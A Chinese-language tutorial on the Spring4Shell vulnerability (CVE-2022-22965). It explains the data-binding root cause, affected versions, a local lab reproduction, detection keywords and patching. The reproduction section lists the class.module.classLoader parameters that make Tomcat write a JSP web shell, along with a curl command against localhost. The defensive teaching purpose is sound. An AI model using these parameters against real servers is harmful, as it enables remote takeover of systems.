写在前面:合法学习边界
本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器,禁止对真实系统使用。
一、漏洞原理
Spring4Shell(CVE-2022-22965)是 Spring Framework 核心的 RCE 漏洞,利用的是 Spring MVC/WebFlux 的数据绑定机制。
原理链路:
1
2
3
4
| 1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器(BeanWrapper)允许访问 class.module.classLoader 等敏感属性(JDK9+)
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE
|
影响版本与条件:
1
2
3
| Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求:JDK 9+、Spring MVC/WebFlux、部署在 Tomcat
|
二、影响与危害
1
2
3
| 远程代码执行(RCE)
服务器被完全控制
写 WebShell、反弹 Shell、内网横向
|
风险等级:严重。和 Log4Shell 并列的 2022 年高危漏洞。
三、利用 / 复现
环境准备
1
2
| # Spring4Shell 靶场(Tomcat + JDK8 不行,需 JDK9+)
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9
|
手工验证(关键参数)
构造一组数据绑定参数,把 Tomcat AccessLogValve 的日志写到可执行目录:
1
2
3
4
5
| class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
|
再用 curl 发一个带 cmd 的请求,让日志把命令写入 JSP:
1
2
| curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
--data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...
|
访问生成的 shell.jsp 即可执行命令。
常用工具
1
| python3 spring4shell.py(自动打)
|
复现操作步骤
1
2
3
4
| 第 1 步:确认环境(Spring MVC + JDK9+ + Tomcat)
第 2 步:构造 class.module.classLoader... 参数 POST 到绑定点
第 3 步:发送带 cmd 的请求,让 AccessLogValve 写入 JSP
第 4 步:访问生成的 shell.jsp —— 命令回显即 RCE
|
四、检测
1
2
3
4
| 日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数(pipeline.first.pattern/suffix)
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认
|
五、防御
1
2
3
4
| 升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定(禁止 class.* 前缀)
WAF 拦截 class.module 关键字
Web 目录禁止写入
|
六、修复
1
2
3
4
| 立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测:class.module 参数被拒、不再生成文件
|
七、小结
Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”,防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。